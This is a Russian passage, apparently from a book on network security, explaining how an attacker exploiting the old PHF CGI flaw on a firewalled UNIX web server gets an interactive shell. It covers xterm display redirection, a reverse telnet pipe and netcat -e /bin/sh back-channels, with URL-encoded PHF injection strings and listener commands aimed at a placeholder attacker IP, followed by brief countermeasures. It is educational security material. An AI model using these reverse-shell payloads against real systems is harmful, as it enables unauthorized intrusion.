Интерактивный доступ к командной оболочке Обсудив два основных метода получения доступа к системе UNIX, необходимо поговорить и об методах, используемых для получения доступа к командной оболочке (shell account access). Необходимо помнить, что основной целью любого взломщика является получение доступа к командной строке или к командной оболочке интересующей его системы. Традиционный метод получения интерактивного доступа к командной оболочке заключается в удаленной регистрации на сервере UNIX с помощью таких программ, как telnet, rlogin или ssh. Кроме того, можно выполнять команды, используя утилиты rsh, ssh, или rexec, не проходя этапа удаленной регистрации. У вас может возникнуть вопрос — а что, если все службы, поддерживающие удаленный доступ, отключены или заблокированы на уровне брандмауэра? Может ли в этом случае взломщик получить доступ к командной оболочке целевой системы? Хороший вопрос. Давайте рассмотрим один пример, на котором можно исследовать различные методы, с помощью которых взломщик может получить интерактивный доступ к командной оболочке UNIX. Эти методы иллюстрируются на рис. 8.1.
Предположим, что взломщик пытается получить доступ к Web-серверу, работающему под управлением операционной системы UNIX, который находится в сегменте так называемой "демилитаризованной зоны" (DMZ) — небольшой сети, размешенной за промышленным маршрутизатором или брандмауэром, защищающим внутреннюю сеть. Тип и модель брандмауэра или маршрутизатора не имеют особого значения. Важно лишь понимать, что такое устройство относится к классу маршрутизирующих брандмауэров, которые не выполняют функций сервера-посредника ни для одной из служб. Предположим, что единственные службы, которая поддерживается брандмауэром, — это HTTP (порт 80) и HTTP поверх SSL (HTTPS) (порт 443). Теперь предположим, что Web-сервер не может противостоять попыткам взлома, например, основанным на изъяне PHF. Кроме того, пусть Web-сервер работает на уровне привилегий пользователя nobody, что является широко распространенной практикой и считается хорошим решением с точки зрения безопасности. Таким образом, если взломщику удастся проникнуть на Web-сервер, используя недостатки в обработке ввода PHF, он сможет выполнять код на сервере с уровнем привилегий пользователя nobody. Это, конечно, важно, но возможность запуска выполняемого кода — лишь первый шаг в получении интерактивного доступа к командной оболочке.
Операции в системе X
После того как взломщик получил возможность выполнять команды на Web-сервере, используя недостатки в реализации PHF, первым из методов, которыми он воспользуется для получения интерактивного доступа к командной оболочке, будет применение средств X Window системы UNIX (далее — просто X). X — это система оконного интерфейса, которая позволяет разным программам использовать один и тот же графический дисплей. Система X чрезвычайно устойчива и позволяет поддерживающим ее клиентным программам отображать свои результаты на локальном или на удаленном сервере X (с использованием портов 6000-6063). Один из самым удобных для взломщика инструментов в этом случае является клиентная программа xterm. Эта программа предназначена для запуска локальной командной оболочки, работающей под управлением X. Однако, применив параметр -display, взломщик может перенаправить командную оболочку на сервер X собственного компьютера. Вот так — быстро и просто.
Реверсивный сеанс telnet и обратные каналы
Безусловно, программа xterm представляет собой самое простое средство получения контроля над системой UNIX. Однако как быть в том случае, если об этом знает не только злоумышленник, но и администратор, удаливший систему X? Эта мера, конечно же, повысит безопасность системы UNIX, но одной ее недостаточно, так как в распоряжении потенциального взломщика остается еще много других методов получения несанкционированного доступа. Одним из таких методов, в частности, является создание обратных каналов. В данном случае термин обратный канал (back channel) применяется для описания механизма, с помощью которого коммуникационный канал создается по направлению от взламываемого узла к компьютеру взломщика, а не наоборот, как при использовании обычных коммуникационных каналов. Нужно напомнить, что в рассматриваемом примере взломщик не может получить интерактивный доступ к командной оболочке обычным способом, так как все порты, кроме 80 и 443, блокируются брандмауэром. Таким образом, злоумышленник должен добиться того, чтобы взламываемый сервер инициировал сеанс с его компьютером, т.е. создать обратный канал.
[tsunami]! nc -I -n -v -p 80 Возвращаясь к рассматриваемому примеру, отметим, что для инициализации реверсивного соединения telnet на взламываемом сервере необходимо запустить следующую команду, действие которой основано на наличии уже известного нам изъяна PHF. /bin/telnet IР_хакера 80 | /bin/sh | /bin/telnet IР_хакера 25 Данная команда, представленная в виде параметра PHF, выглядит следующим образом. /cgi-bin/phf?Qalias= x%0a/bin/telnet%20IP_xaкepa %2080%20I%20/bin/sh%20 |%20/bin/telnet%20IP_xaкepa%2025 Давайте посмотрим, что происходит, когда Web-серверу броузер передает данную строку. С помощью команды /bin/telnet IР_хакера 80 на взламываемом узле запускается telnet и подключается к порту 80 нашего компьютера. Это позволит нам вводить команды, которые будут выполняться удаленным компьютером. В соответствии со стандартными соглашениями ввода/вывода системы UNIX все, что мы будем набирать на клавиатуре, будет перенаправляться в качестве ввода командной оболочке Bourne (/bin/sh). Выводимые же результаты с помощью конвейера будут перенаправлены командой /bin/telnet по адресу IР_хакера на порт 25. Все это вместе взятое и создаст реверсивный сеанс teinet-связи. отображаемый в двух окнах. Порты 80 и 25 выбраны из-за того, что большинство брандмауэров чаще всего разрешает их использовать для создания исходящих соединений. Однако можно выбрать и любые другие порты, — лишь бы их использование для обмена данными не блокировались брандмауэром. Второй метод создания обратного канала заключается в использовании самой утилиты nс. Для этого достаточно, чтобы программа nс уже присутствовала на сервере или могла быть помещена туда с помощью какого-либо механизма (например, через анонимный сеанс FTP). Как мы уже не раз отмечали, пс — это одна из лучших утилит. Поэтому совсем не удивительно, что в последнее время ее можно найти в комплекте поставки многих бесплатных версий UNIX. К сожалению, последнее обстоятельство имеет и обратную сторону — это повышает вероятность того, что хакеру даже не понадобится внедрять эту утилиту на интересующий его узел. Однако само присутствие пс на узле еще вовсе не означает, что ее можно сразу же использовать для создания обратного канала, поскольку нет никаких гарантий того, что она была скомпилирована с использованием директивы #def ine GAPING_SECURITY_HOLE, без которой параметр -е, используемый для создания обратного канала, применить не удастся. В нашем примере мы будем считать, что на узле каким-то образом оказалась нужная версия пс. Подобно описанному выше telnet-методу, создание обратного канала с помощью утилиты пс состоит из двух этапов. Сначала необходимо выполнить следующую команду, которая впоследствии обеспечит взаимодействие с обратным каналом, созданным с использованием nс на взламываемом компьютере. [tsunami]# nс -1 -n -v -p 80 После того как запущена утилита прослушивания, на удаленном узле необходимо выполнить следующую команду. nс —е /bin/sh IР_хакера 80 Данная команда, представленная в форме, требуемой для использования изъяна PHF, имеет следующий вид. /cgi-bin/phf?Qalias=x%0a/bin/nc%20- e%20/bin/sh%20IP_xaкepa%2080 Как только Web-сервер выполнит эту строку, с помощью утилиты nс будет создан обратный канал, который подключит командную оболочку (в данном случае — /bin/sh) к находящемуся в режиме ожидания компьютеру хакера. Это обеспечит интерактивный доступ к командной оболочке, причем соединение будет установлено самой взламываемой системой. Контрмеры: защита от попыток создания обратных каналов
Противостоять попыткам создания обратного канала очень трудно. Самой лучшей превентивной мерой является применение всех средств обеспечения безопасности, что позволит устранить возможность использования подобного метода. К таким мерам относятся отключение ненужных служб и применение всех модулей обновления сразу же после их появления.
|